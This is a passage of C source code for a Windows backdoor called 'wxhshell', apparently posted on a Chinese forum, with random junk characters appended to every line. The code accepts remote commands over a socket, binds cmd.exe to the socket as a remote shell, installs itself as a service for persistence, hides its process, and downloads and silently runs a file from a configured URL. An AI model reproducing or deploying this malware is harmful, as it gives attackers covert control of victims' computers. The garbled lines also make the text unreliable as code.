    break; v.&c1hKHb  
  } dB)-qL8,2  
  // 安装 7K HQ0  
  case 'i': { \@Gcx}Y8h  
    if(Install()) MK-+[K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !|W.YbS  
    else eslvg#Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  _!_^B  
    break; NQGa=kXeJ  
    } 4ClSl#X#i  
  // 卸载 C2aA])7 D  
  case 'r': { **\?-*c=U  
    if(Uninstall()) TI}a$I*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dVPY07P  
    else K.=5p/^a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =van<l4b#n  
    break; y"Pd>61h  
    } K5rra%a-7  
  // 显示 wxhshell 所在路径 P5H_iH  
  case 'p': { ]H aX.Z<  
    char svExeFile[MAX_PATH]; A/"<o5(T(P  
    strcpy(svExeFile,"\n\r"); ?@z/#3b  
      strcat(svExeFile,ExeFile); =:Yrb2gP_\  
        send(wsh,svExeFile,strlen(svExeFile),0); VP~(;H5%  
    break; !7f,gvk  
    } mrq,kwM  
  // 重启 _s+G02/q1  
  case 'b': { v8WT?%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2cO6'?b  
    if(Boot(REBOOT)) (&1.!R[X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]bAVOKm-  
    else { =]5f\f6  
    closesocket(wsh); +J85Re `  
    ExitThread(0); Sgr. V)  
    } ^D]J68)#a  
    break; blWtC/!Aq;  
    } H|0-Al.{  
  // 关机 /k[8xb  
  case 'd': { W':b6}?  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,>01Cs=t8  
    if(Boot(SHUTDOWN)) x#5vdBf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h-//v~V)  
    else { uts>4r>+  
    closesocket(wsh); +0 }_X  
    ExitThread(0); @( \R@`#  
    } n!.=05OtX  
    break; Yo1]HG(kXB  
    } -uu&{$  
  // 获取shell FW5v 1s=  
  case 's': { 'Hzc"<2Y\  
    CmdShell(wsh); 6uv~.-T<l  
    closesocket(wsh); z(8G=C  
    ExitThread(0); piH0_7qr  
    break; Q)y5'u qZ  
  } mo3A*|U  
  // 退出 "G-h8IN^O  
  case 'x': { kxN O9w  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7AS_Aw1L  
    CloseIt(wsh); 98)C 7N'  
    break; xmEom  
    } ?:M4GY" gV  
  // 离开 [KFCc_:  
  case 'q': { q2r$j\L%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); o ^ \+Ua  
    closesocket(wsh); mBJr*_p  
    WSACleanup(); R8:5N3Fx  
    exit(1); jV9oTH-  
    break; qp)Wt6 k?  
        } BVj(Q}f8  
  } 7R7+jL,  
  } Be6+YM5Cl  
xkw=os  
  // 提示信息 u}%6=V  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !Vg=l[  
} tHo|8c~ [  
  } K,JK9)T  
\EU^`o+  
  return; Ssuz%*  
} /M::x+/T  
w[\rS`J  
// shell模块句柄 #Q)r6V:  
int CmdShell(SOCKET sock) |:&O!36  
{ A)4XQF  
STARTUPINFO si; :s&dn%5N"  
ZeroMemory(&si,sizeof(si)); V@T(%6<|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; v-SX PL]_^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; f>$RR_  
PROCESS_INFORMATION ProcessInfo; fN&uat7  
char cmdline[]="cmd"; !4cY^4>o  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^[r1Dk  
  return 0; ;gZ/i93:Q  
} gC7Po  
,~&HL7 v  
// 自身启动模式 UgK c2~  
int StartFromService(void) 2IE\O 8b  
{ YvcV801Go  
typedef struct 4xq|  
{ 0M roHFh9`  
  DWORD ExitStatus; uoOUgNwGg  
  DWORD PebBaseAddress; ,Pcg+^A  
  DWORD AffinityMask; [FrLxU  
  DWORD BasePriority; czU"  
  ULONG UniqueProcessId; V2`Ud[  
  ULONG InheritedFromUniqueProcessId; uDXV@;6<  
}   PROCESS_BASIC_INFORMATION; Z]R#F0"U  
d@1^U9sf  
PROCNTQSIP NtQueryInformationProcess; 0IdA!.|  
H8[A*uYL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; oSmETk\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; D*[J rq,  
1AN$s  
  HANDLE             hProcess; T@i* F M  
  PROCESS_BASIC_INFORMATION pbi; d23=WNn  
z'$1$~I  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); rD4 umWi  
  if(NULL == hInst ) return 0; "f_qG2A{  
K)wWqC.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {+7FBdxVB  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); CYQ)'v  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); G%: 3.:E"  
kyvl>I0q@  
  if (!NtQueryInformationProcess) return 0; |%F,n2  
] uyp i#[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); W[*xr{0V  
  if(!hProcess) return 0; H\a"=&M  
;5.&TQT  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; xlJWCA*>  
M /v@C*c  
  CloseHandle(hProcess); H!Q72tyo  
d?J&mLQ6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;>jEeIlT  
if(hProcess==NULL) return 0; o h\$u5  
Vc;[0iB  
HMODULE hMod; Tn1V+)  
char procName[255]; }.E^_`  
unsigned long cbNeeded; ,0,FzxX0!  
dH;2OWM  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =WW5H\?  
$.,B2}'  
  CloseHandle(hProcess); hEu_mw#  
0V>Ho H   
if(strstr(procName,"services")) return 1; // 以服务启动 ?.%dQ0  
r>FwJm!  
  return 0; // 注册表启动 |,:p[Oy  
} +llb{~ZN  
.4[3r[  
// 主模块 T\bP8D  
int StartWxhshell(LPSTR lpCmdLine) ]q{_i   
{ QCb%d'_w+  
  SOCKET wsl; 4jC)"tch  
BOOL val=TRUE; h2f8-}fsq  
  int port=0; I2}eFz&FE  
  struct sockaddr_in door; ?@,EGY <  
+"<+JRI(M5  
  if(wscfg.ws_autoins) Install();  *0^~@U  
F[Mwd &P@  
port=atoi(lpCmdLine);  jK]1X8  
2{63:f1c`'  
if(port<=0) port=wscfg.ws_port; 0jlM~H  
n.2:fk  
  WSADATA data; j\~,Gtn>Z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +71<B>L   
qc @cd i  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ./k7""4   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _8u TK%|  
  door.sin_family = AF_INET; I ]ZZN6"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *YeQC t-l  
  door.sin_port = htons(port); jBYv Oy*$Q  
15Mtlb  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { eN,9N]K  
closesocket(wsl); ga%\n!S  
return 1; O8$~dzf,2  
} w=WF$)ZU  
'Tjvq%ks   
  if(listen(wsl,2) == INVALID_SOCKET) { Ld}?daPj  
closesocket(wsl); Fb]+h)on  
return 1; !P=Cv=  
} VZWo.Br'W  
  Wxhshell(wsl); 4-x<^ ev=  
  WSACleanup(); b/:wpy+9Z  
A5yVxSF  
return 0; U_5`  
%5gdLm!p  
} zFExYYd   
lxL.ztL  
// 以NT服务方式启动 ^%9oeT{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /Rq\Mgb  
{ w/m@(EBK  
DWORD   status = 0; '?veMX  
  DWORD   specificError = 0xfffffff; w/nohZF6H  
~h3G}EH  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?<!q F:r:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; W^ L ^7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /_qq(,3  
  serviceStatus.dwWin32ExitCode     = 0; r3g^ 0|)  
  serviceStatus.dwServiceSpecificExitCode = 0; ;F"!$Z/  
  serviceStatus.dwCheckPoint       = 0; MIIl+   
  serviceStatus.dwWaitHint       = 0; y ;[~(Yg[  
js81@WX!c  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); H u;"TG  
  if (hServiceStatusHandle==0) return; 3?*d v14  
2 3PRb<q  
status = GetLastError(); -|m3=#  
  if (status!=NO_ERROR) JK =A=  
{ IHO*%3mA/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }b(h D|e  
    serviceStatus.dwCheckPoint       = 0; Th9V8Rg+E  
    serviceStatus.dwWaitHint       = 0; W`G bo uxd  
    serviceStatus.dwWin32ExitCode     = status; ?^%[*OCCC!  
    serviceStatus.dwServiceSpecificExitCode = specificError; "frZ%mv  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); bzNnEH`^]  
    return; gE2(E0H  
  } /fp8tL2Y  
3E|||3rf  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; jDY B*Y^F  
  serviceStatus.dwCheckPoint       = 0;  Ol }5ry  
  serviceStatus.dwWaitHint       = 0; V@`b7GM  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); j;-Wf6h{  
} dw<i)P^   
~rBFP)  
// 处理NT服务事件,比如:启动、停止 N^rpPq  
VOID WINAPI NTServiceHandler(DWORD fdwControl) kzRvLs4xM  
{ 4@-tT;$  
switch(fdwControl) rc8HZ  
{ @ar%`+_  
case SERVICE_CONTROL_STOP: OOSf<I*>  
  serviceStatus.dwWin32ExitCode = 0; 7y|U!r"Y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; D j9aTO  
  serviceStatus.dwCheckPoint   = 0; 7@;*e=v  
  serviceStatus.dwWaitHint     = 0; 3k)xzv%r`  
  { =IMmtOvJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _h-agn4[i  
  } jum"T\  
  return; SF:98#pg  
case SERVICE_CONTROL_PAUSE: `Ow]@flLI  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; VAL? Z  
  break; FLMiW]?x  
case SERVICE_CONTROL_CONTINUE: F6q=W#~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; VxN#\D i&  
  break; as:l1S   
case SERVICE_CONTROL_INTERROGATE: &}p\&4  
  break; KY  
}; k _V+;&:%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D", L.  
} J -z.  
,H7_eVLWR  
// 标准应用程序主函数 ^@V*:n^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1$T`j2s  
{ !.j{vvQ/  
lm4A%4-db  
// 获取操作系统版本 'r!!W0-K  
OsIsNt=GetOsVer(); W/2y; @  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %"H:z  
FFw(`[A_  
  // 从命令行安装 +yO) 3  
  if(strpbrk(lpCmdLine,"iI")) Install(); Wa^Wn +r  
#'&-S@/nQs  
  // 下载执行文件 mw5>[  
if(wscfg.ws_downexe) { W]D YfR,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %>*?uO`z[  
  WinExec(wscfg.ws_filenam,SW_HIDE); UJ}}H}{  
} b;QgL_w  
8`*5[ L~~/  
if(!OsIsNt) { $ Lstq_x+  
// 如果时win9x,隐藏进程并且设置为注册表启动 ejV`W7U  
HideProc(); eQ[akVMk  
StartWxhshell(lpCmdLine); lu{ *]!  
} j-1V,V=  
else oYw?kxRZ  
  if(StartFromService()) R1LirZlzJ  
  // 以服务方式启动 y ~  K8  
  StartServiceCtrlDispatcher(DispatchTable); mx}5":}  
else jo"nK,r  
  // 普通方式启动 $=plAi  
  StartWxhshell(lpCmdLine); 5>9Q<*   
U^7hw(}me  
return 0; B1}i0pV,,  
}
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只看该作者 1 发表于: 2006-10-10
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